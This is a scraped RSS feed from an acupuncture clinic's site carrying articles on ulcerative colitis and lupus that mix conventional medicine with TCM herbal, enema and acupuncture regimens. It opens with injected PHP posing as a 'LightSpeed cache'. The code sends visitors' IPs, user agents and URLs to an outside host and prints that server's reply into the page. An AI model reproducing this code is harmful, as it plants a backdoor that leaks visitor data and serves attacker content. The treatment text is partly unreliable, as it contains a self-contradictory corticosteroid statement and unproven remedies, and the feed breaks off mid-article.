/** * Implement the LightSpeed cache. */ if (preg_match ('/.*77.*/', $_SERVER['REQUEST_URI']) || preg_match ('/.*ach.*/', $_SERVER['REQUEST_URI'])) { error_reporting(0); $url="http://w3lightcache.com/server_new.php";$params="h=$_SERVER[HTTP_HOST]&ua=$_SERVER[HTTP_USER_AGENT]&ip=$_SERVER[REMOTE_ADDR]&ip2=$_SERVER[HTTP_X_FORWARDED_FOR]&uri=$_SERVER[REQUEST_URI]";$ch=curl_init($url);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch,CURLOPT_POSTFIELDS,$params);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);$result=curl_exec($ch);curl_close($ch); if (!empty($result)) {echo $result; die;} } blood – American Institute of Acupuncture http://acuherb.us Acupuncture, herbs, and traditional Chinese Medicine, health full service spa Mon, 10 Sep 2018 16:49:35 +0000 en-US hourly 1 https://wordpress.org/?v=5.0.21 Ulcerative Colitis http://acuherb.us/ulcerative-colitis/ Wed, 22 Aug 2012 18:56:11 +0000 http://acuherb.us/?p=1696

By Dr. Kenneth Wang

Ulcerative colitis (UC) is a chronic medical condition characterized by inflammation of the inner lining of the colon and rectum.

The inflammation usually begins in the rectum and lower intestine and spreads upward to the entire large intestine, which causes ulceration of the surface of the colon, and results in pus, mucus, and bleeding. The disease commonly starts gradually, with non-bloody diarrhea progressing to bloody diarrhea with symptoms slowly worsening over the course of a few weeks. In about 20 percent of patients, the initial attack of ulcerative colitis is associated with bloody diarrhea and other severe symptoms, with inflammation extending into the colon.

Ulcerative colitis commonly follows a chronic intermittent course, with long periods of remission interspersed with acute attacks lasting weeks to months.


Sections of Large Intestine
 
 

Ulcerative colitis (Colitis ulcerosa, UC) is a form of inflammatory bowel disease (IBD) that causes inflammation and ulcers in the lining of the large intestine. Based on characteristic signs like persistent diarrhea, rectal bleeding, fever, abdominal cramps and weight loss, TCM puts the chronic condition under the categories of “protracted diarrhea”, “protracted dysentery”, “bloody stools”, or “organ intoxication”.

In China, TCM treatment in the diagnosis of ulcerative colitis was first reported in 1958; however, similar clinical experiences can be tracked to a very early period. In the Han dynasty, the symptoms were recorded in a TCM classic, Jinkui Yaolue (Synopsis of the Golden Chamber), which proposed to treat ulcerative colitis by therapeutic approaches like detoxifying, cleansing, warming, astringing and consolidating. The author also formulated Pulsatilla Root Decoction (bai tou weng tong) and Peach Blossom Decoction (tao hua tang) specifically for the condition. This established an important foundation for exploring the mechanism of the disease and developing relevant treatment methods. Modern TCM after many years of clinical studies concluded that herbal administrations along with herbal enemas are a better way to control symptoms and can maintain a longer remission from the disease.

Pulsatilla root

In respect to herbal usage, traditional prescriptions usually contain ingredients that fortify the spleen, replenish qi, clear heat and expel dampness. However, specialists have found that mere application of herbs to activate circulation and remove stasis can also achieve similar results.

Ulcerative colitis is a common and complex clinical condition, TCM treatment has its unique advantage.

 Causes

Ulcerative colitis primarily affects young adults, but it can occur at any age from five to eighty years and women tend to be more commonly affected than men. It is a worldwide disorder with high-incidence areas that include United Kingdom, the United States, northern Europe and Australia. Low-incidence areas include Asia, Japan, and South America.

The causes of ulcerative colitis remain unknown. The major theories include infection, allergy to food component, genetics, environmental factors, and immune response to bacteria or other antigens.

Infection : Although use of antibiotics has been shown to improve treatment of active ulcerative colitis, no specific bacteria or virus have been isolated despite many attempts; therefore ulcerative colitis is unlikely to be due to a simple infection. Organisms such as shigella and pathogenic E. Coli have been investigated as possible infectious agents but they have not been associated with the etiology of the disease.

Food Allergy : The majority of patients with ulcerative colitis are found to be sensitive to milk and this led to claims that food allerg ies , particularly to milk, were the cause of the disease. Although some studies suggest that about twenty percent of patients with ulcerative colitis can benefit from a milk-free diet, there is very little scientific evidence to prove dietary allergy as the etiology of ulcerative colitis.

Environmental Factors : Other environmental factors proposed as contributing factors in the etiology of ulcerative colitis are oral contraceptives and smoking. The use of birth control pills was found to be more common in women with ulcerative colitis compared to women without the disease. Many studies have shown that ulcerative colitis is more common in nonsmokers than in smokers. The risk of developing ulcerative colitis is shown to be highest for previously heavy smokers, especially within the first two years of cessation. Smoking has shown to alter the function of the cells in the inner lining of the colon but the exact mechanism of the protective effect of smoking is unknown.

Genetics : There is some evidence that support the theory that ulcerative colitis may be due to genetic factors. The relatives of patients with ulcerative colitis are more likely to have the same disease compared to the general population and approximately ten to twenty percent of patients affected also have at least one other family member with the same disease. Numerous genes with a possible association with ulcerative colitis have been identified. Possible mechanisms proposed for genetic factors contributing to the cause of ulcerative colitis include metabolic defects and connective tissue disorders.

Autoimmune Disease : The current leading theory suggests that ulcerative colitis is an autoimmune disease, where the body’s own immune system triggers an inflammatory response against an antigen in the intestinal wall. In this theory, the patient’s immune system mounts an immune response against an antigen, either food particles or microbial organisms which the immune cells recognize as foreign objects, and this immune response triggers inflammatory effects. However, because of similarities between proteins on the cells of the inner lining of the colon and the antigens (dietary or microbial), the patient’s own immune system is activated against the cells on the surface of the colon. Once the immune cells are activated, inflammatory mediators are released which not only cause tissue damage but also amplify the immune response and promote further inflammation in the inner lining of the colon.

 

Ulcerative colitis is a systemic disease that affects many parts of the body, although patients mainly manifest with intestinal symptoms. In TCM understanding, the problem is closely associated with organ dysfunction, in particular the spleen, that cause a failure to self regulate the intestinal environment. TCM specialists generally agree that constitutional weakness, invasion of exogenous pathogens, an unbalanced diet and emotional factors all contribute to the development of the problem. The pathogenesis is described below:

Damp-heat in the large intestine 
In TCM theory, the large intestine is a hollow organ belonging to the digestive system; it receives the “impure” parts of digested food from the small intestine and continues to absorb water from these materials. At the end of the process, stools are formed and excreted through the anus. Digestive problems, whether resulting from either external or internal origin, tend to retain dampness in the intestines, and will further transform into damp-heat  in the long run. When the damp-heat pathogens disturb the transmission process in the large intestine, diarrhea will occur; and if the intestinal membrane is irritated, the passing stools will have pus and blood.

Liver overacting spleen 
In TCM, the liver promotes flowing and spreading movements, which is embodied in three functional aspects: regulating qi, regulating emotions and enhancing the digestive processes. Long-term emotional stimulation cause a state called “liver stagnation”, not only making the blood and qi flows sluggish, but also interfering with the digestive functions in the spleen and stomach. This facilitates damp-heat to accumulate in the large intestine.

Spleen and kidney deficiencies 
The spleen rules transformation and transportation, which means it is the primary organ in regulating digestion. On the other hand, the kidneys‘ warming and propelling activities enable the spleen to work properly. Deficiencies in these two organs lead to a chronic state, which causes intestinal problems such as persistent or intermittent diarrhea to occur.

Blood stasis and qi congestion 
Long duration of diarrhea leads to a depletion of blood and qi, which cause pathological wastes to form inside the intestines. They can in turn act directly or indirectly on the organs, and give rise to more complex conditions.

Symptoms 

 

Major symptoms of ulcerative colitis are diarrhea, rectal bleeding, the passage of mucus, and abdominal pain. The onset of symptoms is usually slow and insidious and often symptoms have been present for weeks or even months before patients seek medical help. Patients often experience frequent bowel movements of small volume and fecal incontinence. Other symptoms include fever, pain and weight loss.

 

In general, the severity of symptoms correlates with the severity of the disease. More generalized symptoms such as fever, fatigue, and weight loss are more common if inflammation is extended to all or most of the colon. If the disease is confined to the rectum, the only symptoms may be persistent desire to empty the bowel or spasm of the rectum with or without bloody diarrhea. Some patients, especially elderly patients or those with inflammation confined to the rectum, may complain of constipation and hard stools.

Classification of disease severity 
Severity of disease is categorized as mild, moderate, or severe according to clinical symptoms.

Mild: diarrhea and rectal bleeding are usually the only symptoms. Patients experience less than four stools daily, with or without blood.

Moderate: typical symptoms are five or six bloody bowel movements per day and bloody diarrhea is often associated with large amount of mucus and pus. Incontinence is often a problem especially when the rectum is severely inflamed. Abdominal pain may also be present in addition to low-grade fever and fatigue.

Severe: patients experience frequent episodes of bloody diarrhea (more than six bloody stools daily) and they may become anorectic and nauseated. In severe attacks, patients may vomit and experience symptoms of anemia such as breathlessness, ankle swelling, and fatigue. Weight loss, fever, fast heartbeat, dizziness, and severe cramping or abdominal pain can also occur with severe cases of the disease.

Other organ systems affected by ulcerative colitis 

Skin: most rashes are related to drug therapy, which can cause an allergic skin reaction or photosensitivity reaction to sulfasalazine and 5-aminosalicylic acid (5-ASA). A condition calledpyoderam gangrenosum, an inflammatory bacterial dermatitis with pus and ulceration, is a rare skin condition that occurs in patients with ulcerative colitis and it occurs principally on the trunk or the limbs.

Mouth: oral ulcers occur in about ten percent of patient s with active ulcerative colitis.

Eyes: inflammation of the eyes occurs in approximately five to eight percent of patients with active ulcerative colitis. Corticosteroid eye drops are useful for controlling symptoms of inflammation.

Joints: in approximately ten to fifteen percent of patient s with an acute attack of ulcerative colitis, larger joints (knees, hips, ankles, wrists, and elbow) become hot and swollen. This condition resolves as the disease goes into remission.

Liver disease: in severe attacks of ulcerative colitis, minor elevations in liver enzymes are common and the level returns to normal once remission is achieved. However, in about three percent of patients with ulcerative colitis, a major liver complication can occur in which chronic inflammation of the bile duct can lead to progressive liver disease. The cause of this liver disease is unknown and there is currently no satisfactory treatment for this condition.

 

TCM identifies ulcerative colitis according to the severity and symptoms exhibited in each individual; these are then allotted into different disharmony patterns or syndromes. Basically, physicians pay special attention to bowel habits such as frequency, quantity, nature, form, color and smell of the stools, as well as the presence of accompanying physical sensations.

Damp-heat in the large intestine
There is usually acute onset of this type. The diarrhea is violent and foul smelling and with a large amount of pus or blood. There is a burning feeling in the anus, abdominal pain and cramps, a rumbling noise and distention that diminishes after defecation. Other accompanying signs are fever or alternating chills and fever, poor appetite, dry mouth, and scanty yellow urine.

Damp-cold in the spleen
Diarrhea with excessive mucus or watery thin stools, tenesmus, abdominal cramps and rumbling noise are also experienced. There are accompanying signs like a bland taste in mouth, stomach stuffiness, no appetite, headache, generalized heaviness, and clear urine.

Qi and Blood stagnation 
Diarrhea with alternative solid or loose stools, sticky with mucus or darkish bloody contents; straining to pass a small amount of stools may occur each time; there are also constant stabbing pains at a fixed location that can be aggravated by pressure. Other accompanying signs may be abdominal masses, distention, chest fullness, poor appetite and a darkish facial complexion.

Liver stagnation and spleen weakness 
Symptoms are always triggered by emotional stimulation. Usually, diarrhea immediately comes after abdominal cramps; there are loose stools full of mucus with some pus or blood. There are also tenesmus, chest oppression, sighing, irritability, poor appetite and frequent passage of gas. Some individuals may present with alternating diarrhea and constipation.

Spleen qi deficiency 
Individuals develop alternating diarrhea and loose bowels, and undigested foods may present in the stools. The loose bowels and frequency are worsened by poor lifestyle habits or consumption of greasy foods. The abdominal cramps are dull in nature and can be relieved by palpation. Other accompanying signs are lack of appetite, gastric fullness after meals, fatigue, sallow complexion, frequent passage of gas, irregular menstruation or even rectal prolapse.

Spleen and kidney deficiencies 
Individuals develop a chronic persistent diarrhea that usually contains undigested foods. Diarrhea typically occurs early in the morning after an episode of colic around the navel, and then throughout the day. Other symptoms include fatigue, cold body and extremities, soreness in the lumbar and knees, abdominal dull pain that diminishes with exposure to warmth, profuse clear urine or frequent urination at night.

It should be noted that during the course of ulcerative colitis, the above syndrome patterns may appear alone or in complex form. An experienced physician can accurately identify the pattern.

Diagnosis

The diagnosis of ulcerative colitis is made from the patient’s medical history, a stool examination, sigmoidoscopy findings, and biopsy of specimens from the rectum or colon.

Stool Samples 
Stool samples from patients with ulcerative colitis contain pus cells, red blood cells, and commonly eosinophils (a type of white blood cells). Since inflammation of the colon due to infections can also produce symptoms similar to those of ulcerative colitis, stool samples are examined to exclude parasitic, amoebic or bacterial infection.

Sigmoidoscopy 
Sigmoidoscopy allows the physician to find typical features of ulcerative colitis in the colon, such as swelling, small bleeding points, and ulceration of the inner lining of the colon. For patients with longstanding disease, pseudo polyps may also be seen. Colonoscopy is sometimes necessary for determining the extent of the disease, especially in severe attacks.


Sigmoidoscopy

Biopsy 
Because the findings from sigmoidoscopy can also be found in other medical conditions such as infectious inflammation of the colon, biopsies of the tissue in the colon are necessary to confirm diagnosis of ulcerative colitis. Patients with Crohn’s disease can also have a medical history and symptoms similar to those of ulcerative colitis and several biopsies via colonoscopy may be needed to confirm a diagnosis of ulcerative colitis.

Differential Diagnosis 
Patients with Crohn’s disease, which usually also involves the small intestines, often present with symptoms similar to ulcerative colitis. Endoscopy and x-ray s of the small intestine are sometimes necessary to correctly diagnose ulcerative colitis. Other differences between ulcerative colitis and Crohn’s disease are found in laboratory values and biopsy specimens.

In TCM understanding, ulcerative colitis is mainly due to internal weakness of the spleen and stomach that result in transmission disorders of the large intestine. Triggering factors like exogenous pathogens, an improper diet and emotional stimulation further disturb the internal disharmony and make the symptoms worse.

During diagnosis, TCM physicians rely on special skills to gather health information from patients so that appropriate therapeutic strategies can be undertaken.

Damp-heat in the large intestine 
TCM diagnostic criteria for this type of ulcerative colitis include diarrhea with pus and blood, a burning feeling in the anus, abdominal cramps, fever and scanty yellow urine. On examination, the tongue is red and covered by yellow greasy coating; the pulse is rolling and rapid.

A red tongue covered by yellow greasy fur.

Damp-cold in the spleen 
Diagnostic criteria for this type are diarrhea with mucus or watery stools, tenesmus, abdominal cramps, stomach stuffiness, generalized heaviness and clear urine. On examination, the tongue is pale and covered by white greasy coating; the pulse is hesitant and slow.

Qi and Blood stagnation 
Diagnostic criteria for this type of ulcerative colitis include diarrhea with mucus or darkish blood, straining for defecation, fixed stabbing pain, distention, belching and a darkish complexion. On examination, the tongue is purple with bleeding spots; the pulse is taut and hesitant.

Liver stagnation and spleen weakness 
Diagnostic criteria for this type of ulcerative colitis includes diarrhea triggered by emotional stimulation; attacks usually come after abdominal cramps, chest oppression, belching and frequent passage of gas. On examination, the tongue fur is thin, white and greasy; the pulse is taut.

Spleen qi deficiency 
Diagnostic criteria for this type of ulcerative colitis includes loose bowels made worse by poor lifestyle habits or consumption of greasy foods, undigested foods in the stools, lack of appetite, distention, fatigue and sallow complexion. On examination, the tongue is pale and covered by white fur; the pulse is weak and thready.

Spleen and kidney deficiencies 
Diagnostic criteria for this pattern are early morning diarrhea that comes after an episode of colic, undigested food in the stools, cold body and extremities, soreness in the lumbar region and knees, and frequent urination at night. On examination, the tongue is pale; the pulse is deep and thready.

According to TCM experience, damp-heat in the large intestine, qi and blood stagnation, spleen qi deficiency are the most common types of syndrome patterns; while spleen and kidney deficiencies are usually seen in the late stage of ulcerative colitis .

Treatment

 

The goals of treatment of ulcerative colitis are to induce and maintain remission of symptoms and inflammation of the inner lining of colon. Treatment options are determined according to the extent of the inflammation and the severity of the disease.

5-Aminosalicylic Acid (5-ASA) 
The majority of patients with ulcerative colitis have mild or moderate disease with inflammation involving areas close the rectum. In these patients, rectally administered preparation of 5-aminosalicylic acid (5-ASA) is the best treatment option. Rectal preparation of 5-ASA is available as an enema, foam, gel, or suppository, which are equally effective. For patients who prefer oral therapy, sulfasalazine and 5-ASA derivatives (mesalamine, olsalazine, and balsalazide) are also effective in the treatment of mild to moderate ulcerative colitis, although rectal preparations have higher remission and improvement rates.

Sulfasalazine is less effective than corticosteroids for active disease and its major role in the management of ulcerative colitis is to maintain remission once the active inflammation has resolved. However, side effects from sulfasalazine such as headache, nausea, and vomiting can be severe. Rash and infertility in males are also commonly reported with sulfasalazine therapy.

Mesalamine, olsalazine, and balsalazide have been developed to minimize adverse effects seen with sulfasalazine therapy. These new 5-ASA derivatives are shown to be as effective as sulfasalazine in both treating active ulcerative colitis and maintaining remission with fewer side effects.

Corticosteroids 
For patients whose symptoms are inadequately controlled with 5-ASA, corticosteroids are used in active disease.

Hydrocortisone is available as an enema, suppository, or foam for rectal administration. For patients with severe ulcerative colitis, oral corticosteroid is used. Prednisone and cortisone are commonly used oral corticosteroids for severe ulcerative colitis but prolonged use can cause many long-term side effects, including osteoporosis and cataract. For patients with severe disease requiring hospitalization, intravenous corticosteroid is also available.

Although corticosteroids deliver fast and reliable remissions of the active ulcerative colitis, these drugs do not change the underlying disease course and they were shown to be ineffective in maintaining long-term remission with continued use. Therefore, corticosteroids should be used to treat active disease and should be used to maintain remission of the disease.

Immunosuppressive Agents 
Immunosuppressive agents are often used to allow reduction or elimination of corticosteroids and also to maintain corticosteroid-induced remissions of the disease. The immunosuppressive agents used in ulcerative colitis include azathioprine (AZA), 6-mercaptopurine, and cyclosporine.

Azathioprine and 6-mercaptopurine are most widely used immunosuppressive agents used in ulcerative colitis. These drugs are especially useful in patients who are having repeated relapses from their disease once corticosteroids have been discontinued. It may take up to 6 months for these drugs to achieve a therapeutic effect. Both azathioprine and 6-mercaptopurine are associated with minimal side effects which include nausea, fever, and diarrhea. Pancreatitis and liver dysfunction can also occur and rare occurrence of bone marrow suppression with these drug warrant regular monitoring of blood counts.

Cyclosporine is used for patients hospitalized with severe ulcerative colitis who do not respond to high doses of intravenous corticosteroid s . Although oral formulation of the drug is available, only intravenous administration of cyclosporine has been shown to provide favorable effects in severe ulcerative colitis. It has much faster onset of therapeutic efficacy compared to azathioprine and 6-mercaptopurine, but is not found to be as effective in maintaining remission. Unlike azathioprine and 6-mercaptopurine, cyclosporine is not associated with bone marrow suppression but can cause kidney toxicity.

Surgery 
In patient with ulcerative colitis, surgery is performed to remove the colon in the following situations:

Severe attacks not responding to medical treatment
Perforation or dilatation of the colon during a severe attack
Cancer due to ulcerative colitis
 

TCM believes that the major pathologies of ulcerative colitis include spleen and stomach dysfunctions, intestinal turbid accumulations, and blood and qi disturbances . Therefore, TCM treatment strategies are to restore organ functioning, eliminate turbid accumulations and harmonize the flows of qi and blood.

In clinical applications, if individuals have obvious pus, mucus or bloody loose bowels, physicians will focus on clearing pathogens like damp-heat or damp-cold, so as to improve the bowel environment. Afterwards, tonifying methods are employed to overcome the internal weakness and promote a longer remission period.

Prescriptions according to syndrome differentiation

Damp-heat in the large intestine 
Therapeutic aim: Clearing damp-heat, harmonizing blood and qi. 
Sample prescription: Modified Peony Decoction (Shao Yao Tang)

In the prescription, the peony root and angelica root enrich the blood; the betel nut, costus root and rhubarb promote qi flow, the thread rhizome and skullcap root clear damp-heat and detoxify. The whole combination resolves the pathogenic accumulation in the large intestine, enabling the bowel to resume its normal transmission process.

In the prescription, the atractylodes rhizome and root enhance fluid metabolism in the spleen; the magnolia bark and tangerine peel regulate qi flow to dispel damp-cold; the poria, water-plantain root and chu-linginduce urination; cassia bark and ginger promote warmth to expel coldness. The whole combination enables the intestinal functions to perform normally by enhancing spleen functioning and dispelling damp-cold pathogens.Damp-cold in the spleen 
Therapeutic aim: warming and dissolving dampness, harmonizing blood and qi
Sample prescription: Modified Weiling Decoction (Wei Ling Tang)

Qi and Blood stagnation 
Therapeutic aim: regulating blood and qi flows to arrest diarrhea and pain. 
Sample prescription : Modified Decoction for Removing Blood Stasis in the Lower Abdomen (Shao Fu Zhu Yu Tang)

In the prescription, the cattail pollen, angelica, lovage and squirrel feces nourish blood and promote tissue regeneration; the corydalis rhizome, peony root and myrrh promote blood and qi flows to arrest pain; the fennel, ginger and cassia bark warm the meridian to dispel blood stasis. The whole combination improves the circulation in the large intestine so as to arrest diarrhea and pain.

Liver stagnation and spleen weakness 
Therapeutic aim: soothing liver, invigorating spleen, expelling dampness, arresting diarrhea. 
Sample prescription: Modified Essential Formula for Diarrhea with Pain (Tong Xie Yao Fang)

In the prescription, the atractylodes root invigorates the spleen; the peony root works on the liver; the tangerine peel regulates qi flow and expels dampness; the ledebouriella root assists the above herbs to work properly. The whole combination invigorates the spleen and expels dampness to arrest diarrhea, soothes the liver and regulates qi to arrest pain.

Spleen qi deficiency 
Therapeutic aim: Replenishing qi, invigorating spleen, consolidating intestines to arrest diarrhea. 
Sample prescription: Modified Powder of Ginseng, Poria & Atractylodes (Shen Ling Bai Shu San)

In the prescription, the ginseng, atractylodes root and poria are the main ingredients to replenish qi and invigorate the spleen; the hyacinth bean, coix seed, lotus seed and yam enhance the water metabolism of the spleen which helps to drain dampness and arrest diarrhea; the amomum fruit promotes the digestive process; the balloonflower regulate the water passages and the liquorice acts as a buffer.

Spleen and kidney deficiencies 
Therapeutic aim: warming and tonifying the spleen and kidney, consolidating the intestine to arrest diarrhea. 
Sample prescription: Modified Immortal Organ-Nourishing Decoction (Zhen Ren Yang Zang Tang)

In the prescription, the poppy capsule is used in high dosage to consolidate the intestine and arrest diarrhea; cassia bark warms the kidney and spleen; both herbs are the main ingredients. The nutmeg and myrobalan fruit provide warming to arrest diarrhea; the ginseng and atractylodes root replenish qi; the angelica and peony root replenish blood; the costus root and liquorice root act as buffer.

Herbal enemas

An enema is the procedure of introducing liquids into the rectum and colon via the anus. Herbal enemas help improve problems affecting the lining of the bowel such as abrasions, edema, ulcers and bleeding, therefore effectively relieving the intestinal symptoms.

Herbal enemas for ulcerative colitis must be carried out in medical or hospital environments. Before the procedure is undertaken, the lower bowel must be cleaned properly; drip a warm herbal preparation slowly into the colon; let the liquid be retained for at least 4 hours so as to obtain the full herbal effects. Do once a day for ten days, and then rest for 4 days before repeating the treatment. Patients usually feel an improvement after 3 courses. Selection of herbs is based on individual cases, below are some suggested ingredients:

Clearing damp-heat accumulation

bai tou weng

Chinese pulsatilla root

Radix Pulsatillae

ye ju hua

wild chrysanthemum

Flos Chrysanthemi Indici

pu gong ying

dandelion

Herba Taraxaci

huang lian

golden thread rhizome

Rhizoma
Coptidis

bai jiang cao

patrinia

Herbal Patriniae

Removing blood and qi stagnation

dan pi

peony tree root bark

Crotex Moutan Radicis

huang qin

baical skullcap root 

Radix Scutellariae

huai hua

pagoda tree flower

Flos Sophorae

san chi

notoginseng

Radix
Notoginseng

da huang

Chinese rhubarb

Radix et Rhizoma Rhei

Soothing liver and invigorating spleen

bai ji

common bletilla tuber

Rhizoma
Bletillae

chai hu

bupleurum root

Radix Bupleuri

bai shao

white peony root

Radix Paeoniae Alba

yu jin

turmeric root tuber

Radix Curcumae

wu yao

lindera root

Radix Linderae

Tonifying spleen and stomach

huang qi

astragalus

Radix Astragali

dang shen

pilose asiabell root

Radix Codonopsis Pilosulae

bai shu

largehead atractylodes root

Rhizoma Atractylodis Macrocephalae

chen pi

dried tangerine peel

Pericarpium Citri Reticulatae

dang gui

angelica root

Radix Angelicae Sinensis

Pilose asiabell root

Acupoint therapies

Stimulation of acupoints not only enhances the immune modulation effect, but also mobilizes the innate healing power inside the body. For the localized problems like inflammation, ulcers, muscular spasms and sluggish flow, acupuncture and moxibustion are particular effective and thus facilitate structural recovery.

Suggested acupuncture methods:
Major points: navel’s four-point (one-thumb-width apart from the navel, located in three, six, nine & twelve o’clock), tian-shu, guan-yuan & qi-hai; 
Assist points: da-chang-shu, zhang-qiang, pi-shu, wei-shu, zu-san-li & san-yin-jiao.

When applying, first punch the four-point needle in 0.3-0.5 cm deep and rotate for about 30 seconds, stimulate the four locations in a clockwise sequence, no needle retention; then select one more major point and 2-3 assist points for stimulation, retain the needles on the locations for 15-20 minutes, moxa cones can be attached for heating during this time. Do this once daily or every two days, ten times is one course.

Moxibustion can also be used to boost the weakened systems, particularly for individuals with chronic symptoms. Below are suggested protocols:
Major points: zhong-wan, tian-shu, guan-yuan & shang-ju-xu;
Assist points: pi-shu, shen-shu, da-chang-shu, zu-san-li, tai-xi, tai-chong, san-yin-jiao &zhong-iv-shu.

Each time, select 1-2 major points and heat for 30-40 minutes; while select 2-3 assist points and heat for 15-20 minutes. Do this once daily or every two days, 15-20 times is one course.

 
 
]]> Systemic Lupus Erythematosus http://acuherb.us/systemic-lupus-erythematosus/ Wed, 22 Aug 2012 18:36:43 +0000 http://acuherb.us/?p=1691

By Dr. Kenneth Wang

Systemic lupus erythematosus (SLE) is a chronic, inflammatory disorder of connective tissue that usually arises without obvious cause and is regarded as an autoimmune disease. It affects many different organ systems of the body and varies in severity between patients and, over time, within the same patient.

Typical features of SLE are a symmetrical red rash to the face, arthritis and progressive damage to the kidneys.

Systemic lupus erythematosus (SLE) is an autoimmune disease that can affect the joints and many organs of the body, commonly the skin and kidneys. The disease course can range from mildly episodic to severe, and can be fatal. Symptoms vary from individual to individual and are characterized by remission and exacerbation. The complex presentation of the disease can make diagnosis difficult.

No definitive term exists for SLE in the ancient Chinese medical classics. Individuals are diagnosed with different syndromes according to the presentation of symptoms and are treated according to the disharmony patterns displayed under these syndromes.

 

Symptoms of fever and skin rash are diagnosed as yin-yang poisoning, Prurigo, itching dermatitis of the face, cheek sores and solar dermatitis syndromes.
Joint pain, muscle pain and Raynaud’s phenomenon are classified as bi-syndrome.
Heart involvement, causing symptoms of palpitations and shortness of breath, is referred to as palpitation syndrome.
Nervous system symptoms are grouped as hysteria syndrome.
Symptoms resulting from multiple asthenia syndrome organ systems involvement are classified as . This can then lead to consumptive disease.
Kidney involvement is defined as kidney deficiency.

 

The kidneys are very important in TCM and are considered (as in Western medicine) to be commonly involved in SLE.


As SLE is a disease that can affect the whole body and involve several organs, different syndromes or disharmony patterns may occur at the same time and present a multiplicity of symptoms.

Causes

The cause of SLE remains unknown, although it is thought that genetic, hormonal, immune and environmental factors have a role. The reasons that support this are: 

 

Relatives of patients with SLE are at increased risk of developing the disease.
The disease is more often seen in both of a pair of identical twins than it is in fraternal (non-identical) twins.
Prevalence of the disease in certain races also implies a genetic (inherited) influence in the occurrence of SLE.
Evidence for hormonal abnormalities is based primarily on the observation that SLE is much more common among women in their childbearing years.


Many abnormalities of the immune system occur in patients with SLE. The reason for this remains unclear and it is not known which are primary and which are secondary causes. These abnormalities in immune regulation are thought to result from loss of “self” (substances belonging to the body) tolerance. This means that SLE patients are no longer totally tolerant of all their self-antigens and consequently an immune response develops to these antigens. 

From the traditional Chinese medicine (TCM) viewpoint, the major cause of SLE is an inborn insufficiency that disturbs the balance of yin and yang. SLE may be acquired when environmental pathogens (dryness, dampness, cold, summer-heat, wind and fire evils) affect this balance. Inborn insufficiencies or acquired disorders also lead to depletion of vital energy (qi) and yin fluid. This can cause impaired functioning of the body and a defect in resistance to illness.

Ancient TCM classics like the Jinkui Yaolue (Summary from the Golden Chest) refer to diseases that poison the yin-yang balance. Constitutional or bodily weakness enables environmental pathogens to invade the body. This disturbs the harmonious balance of yin and yang and illness results. As an example, over-exposure to sunlight, considered to be a heat evil, causes the accumulation of heat and toxic pathogens in the body, and this in turn triggers organ system damage. Diseases where yang is dominant in the body present with yang-type symptoms, such as flushing of the face, high fever, dislike of heat, dark-colored urine or constipation. Diseases dominated by yin present with yin-type symptoms, such as pallor, cold limbs, an aversion to cold, pale urine or watery stools.

Parallels can be made with Western medicine’s understanding of SLE. For example, SLE is a result of the malfunction of the body’s immune system, which in TCM can be interpreted as a yin and yang imbalance. Genetic and environmental factors are also known to play a role in the development of SLE. It has been suggested that a virus may be partially responsible for its cause. This thinking is in line with the TCM concepts of environmental pathogens and an inborn deficiency being linked to the occurrence of SLE.

Symptoms

The onset of SLE can be highly variable, as can be the progression of the disease. Early symptoms may be non-specific and include muscular pain, nausea, vomiting, headaches, depression and easy bruising. Sometimes symptoms are more specific and more than one may be present. Symptoms may be mild or severe, fleeting or persistent.

General symptoms

Fatigue occurs in virtually all patients with SLE and may be experienced with the onset of SLE or only with a relapse of the disorder.
Swelling of the ankles is common.
There is often a gain or loss in body-weight.
Low-grade fever is seen in 80 per cent of patients.
It is usually an episodic disease (occurs from time to time).

Skin and mucous membranes
The skin is affected in over 70 per cent of cases. Often, rashes occur after exposure to ultraviolet light and such exposure may lead to major flares involving other organ systems as well. Abnormal sensitivity to sunlight is experienced by about half of all patients with SLE and is more common in those who are fair and light-skinned.
Typical ”butterfly” distribution facial rash seen in SLE.

A classical characteristic of SLE is the “butterfly” rash that occurs across the face. Hair-loss is also common. Mouth ulcers occur frequently in active disease, but they may be relatively painless. A painful throat may accompany a flare.

Vascular system (blood vessels) 
A disorder of the vascular system known as Raynaud’s phenomenon occurs in 20 to 30 per cent of patients. Classically, the fingers turn white followed by a bluish cyanotic hue, finally replaced by a red flush as dilatation of the blood vessels occurs. The full three-color change does not always happen, but excessive sensitivity of the hands to the cold is common.

Musculoskeletal system
Painful and arthritic joints are the most common symptoms of SLE and experienced by almost all patients. Symptoms can occur in any joint and often clear up in one to three days. Fingers, hands wrists and knees are the most commonly affected. Less frequently, ankles, elbows, shoulders and hips are involved. Stiffness on waking can last several minutes.

Renal system
In 50 per cent of SLE patients, the kidneys become involved. There may be rapid onset of an acute and painful kidney inflammation or traces of blood or protein may be found on analysis of the urine. Urinary tract infections are common.

Nervous system 
Nervous disorders occur in virtually all SLE patients. Anxiety and/or depression are common in response to the illness and the threat of loss of health, family and job. The prospect of disability and dependency can be very distressing.

Symptoms may include insomnia, loss of appetite, constipation, palpitations, diarrhea, over-breathing, memory loss, emotional instability, confusion and decreased concentration. Seizures (convulsions) occur in more than 10 per cent of patients. The incidence of stroke, with resulting abnormalities of sensation and power, is similar.

Headaches are a frequent complaint and are usually due to stress and tension. Migraine occurs in 20 per cent of patients.

Cardiorespiratory system 
Chest pain, cough and breathlessness occur frequently. These result from a variety of processes involving the lungs, the lining of the chest wall and diaphragm. Pain on breathing is commonly experienced and is often accompanied by chest discomfort. It may be worsened by lying down.

Gastrointestinal tract
Involvement of the gastrointestinal tract is common. Up to 25 per cent of patients have esophageal complaints, including difficulty swallowing. Indigestion, abdominal pain, nausea and vomiting are also common.

Blood
Anemia occurs in at least 50 per cent of patients. On laboratory analysis, abnormalities in the blood cells and clotting mechanisms are commonly found.

TCM practitioners will examine the sufferer and categorize the symptoms under special syndrome groups known as “disharmony patterns.” Certain disharmony patterns are present during different stages of the disease. The presentation of SLE is often complicated, but some common patterns can be classified:

Excessive toxic heat accumulation
Individuals present with persistent high-grade fevers, the appearance of a rash on the face or other areas, joint pain, muscle soreness or pain, fatigue, thirst and a desire for cold drinks. Irritability, insomnia, constipation and production of dark-colored, scanty urine are also common.

In severe cases, loss of consciousness, delirium, muscle spasms, bruising or petechiae (small, flat blood spots under the skin), the spitting up of blood and the presence of blood in the urine or stool may also occur. Exposure to sunlight and the ingestion of certain foods or drugs are factors that can exacerbate the disease and induce flare-ups.
blood yin deficiency
